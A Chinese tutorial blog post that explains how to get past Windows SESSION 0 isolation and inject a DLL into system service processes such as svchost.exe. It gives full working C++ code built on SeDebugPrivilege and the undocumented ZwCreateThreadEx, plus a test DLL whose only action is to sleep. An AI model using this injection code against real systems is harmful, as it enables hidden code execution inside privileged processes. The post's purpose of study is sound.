第四章 突破SESSION 0隔离 远程线程注入(附源码)

前言

在上一章《远程线程注入》中,我们可以向普通用户进程注入DLL;但是无法向system等权限的系统服务器进程中注入。

由于系统的SESSION 0隔离机制,导致注入失败;我们可使用ZwCreateThreadEx函数进行远程线程注入,可以突破SESSION 0隔离。

函数介绍

大部分函数在上一章中已具体分析过,本章节将忽略

ZwCreateThreadEx函数

突破SESSION 0隔离,将DLL注入到系统服务进行;

ZwCreateThreadEx函数在ntdll.dll中没有被声明,所以需要使用GetProcAddressntdll.dll中获取函数导出地址。

语法
X64
DWORD ZwCreateThreadEx(
	PHANDLE					ThreadHandle,
    ACCESS_MASK				DesiredAccess,
    LPVOID					ObjectAttributes,
    HANDLE					ProcessHandle,
    LPTHREAD_START_ROUTINE	lpStartAddress,
    LPVOID					lpParameter,
    ULONG					CreateThreadFlags,
    SIZE_T					ZeroBits,
    SIZE_T					StackSize,
    SIZE_T					MaximumStackSize,
    LPVOID					pUnkown
)
X32
DWORD ZwCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown);

直接上源码。

示例

程序代码

OpenProcess直接打开系统服务进程会报错权限不足,右键管理员运行也无法打开;

故增加EnableDebugPrivilege部分,获取Debug权限。


#include <iostream>
#include <Windows.h>

BOOL EnableDebugPrivilege(BOOL bEnable)
{
    BOOL fOK = FALSE;     //Assume function fails
    HANDLE hToken;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOK = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return fOK;
}



//远程线程注入
bool RemoteThreadInject(int Pid, const char* Path)
{
    //1.使用PID打开进程获取权限
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, Pid);
    if (hProcess == NULL)
    {
        printf("打开进程失败\n");
        return FALSE;
    }
    else
    {
        printf("打开进程成功\n");
    }
    //2.申请内存,写入DLL路径
    LPVOID pBuf = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (!pBuf)
    {
        printf("申请内存失败!\n");
        return false;
    }
    else
    {
        printf("申请内存成功!\n");
    }
    //3.写入内存
    // SIZE_T dwWrite = 0;
    if (!WriteProcessMemory(hProcess, pBuf, Path, strlen(Path) + 1, NULL))
    {
        printf("写入内存失败!\n");
        return false;
    }


    //4.创建远程线程,让对方调用LoadLibrary
    HMODULE hModule = LoadLibrary("kernel32.dll");
    LPTHREAD_START_ROUTINE pfnStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
    if (!pfnStartAddress)
    {
        printf("获取LoadLibraryW失败!\n");
        return false;
    }
    else
    {
        printf("获取LoadLibraryW成功!\n");
    }
 
	//5.加载ntdll.dll
    HMODULE hNtdll = LoadLibrary("ntdll.dll");
    if (NULL == hNtdll)
    {
        printf("加载ntdll.dll失败!");
        CloseHandle(hProcess);
        return FALSE;

    }
    //6.获取ZwCreateThreadEx的函数地址
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);

    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        printf("获取ZwCreateThreadEx函数地址失败!");
        CloseHandle(hProcess);
        return FALSE;
    }

    //7.在目标进程中创建线程
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
            pfnStartAddress, pBuf, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    {
        printf("目标进程中创建线程失败!");
        CloseHandle(hProcess);
        return FALSE;
    }
    else
    {
        printf("目标进程中创建线程成功!\n");
    }


    //8.等待线程结束返回,释放资源
    WaitForSingleObject(hRemoteThread, -1);
    CloseHandle(hRemoteThread);
    VirtualFreeEx(hProcess, pBuf, 0, MEM_FREE);

}


int main()
{
    EnableDebugPrivilege(SE_PRIVILEGE_ENABLED);
    printf("GetDuBug");
    const char* dllpath = "C:\\Users\\Administrator\\Desktop\\testDll1.dll";
    RemoteThreadInject(880, dllpath);
    printf("执行结束");
    return 0;
}

DLL代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Sleep(1000000);
//        MessageBox(NULL, L"TIPS", L"TEST", NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

测试

选择svchost.exe作为被注入的进程PID为696;

image-20211129232616065

注入DLL文件为“C:\Users\Administrator\Desktop\sleep.dll”:

image-20211129232830628

执行程序生成EXE,使用ProcessExplorer查看进程:

image-20211129233155722

原理学习

CreateRemoteThead函数最终还是调用ZwCreateThreadEx函数实现远程线程创建。windows内核6.0以后引入隔离机制,创建一个线程之后不直接运行,而是挂起线程,检查运行线程所在会话层决定是否恢复进程。

在使用CreateRemoteThead函数创建远程线程时,调用ZwCreateThreadEx函数执行,目标进程为系统进程时,第七个参数CreateThreadFlags的值为1,导致线程创建完成后一直处于挂起状态。

同样由于会话隔离机制,系统服务进程不能显示窗体,上述实例DLL中使用sleep,主体程序中会等待线程结束,所以CMD窗口未运行结束。可以通过ProcessExplorer查看svchost.exe进程,可以发现sleep.dll

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值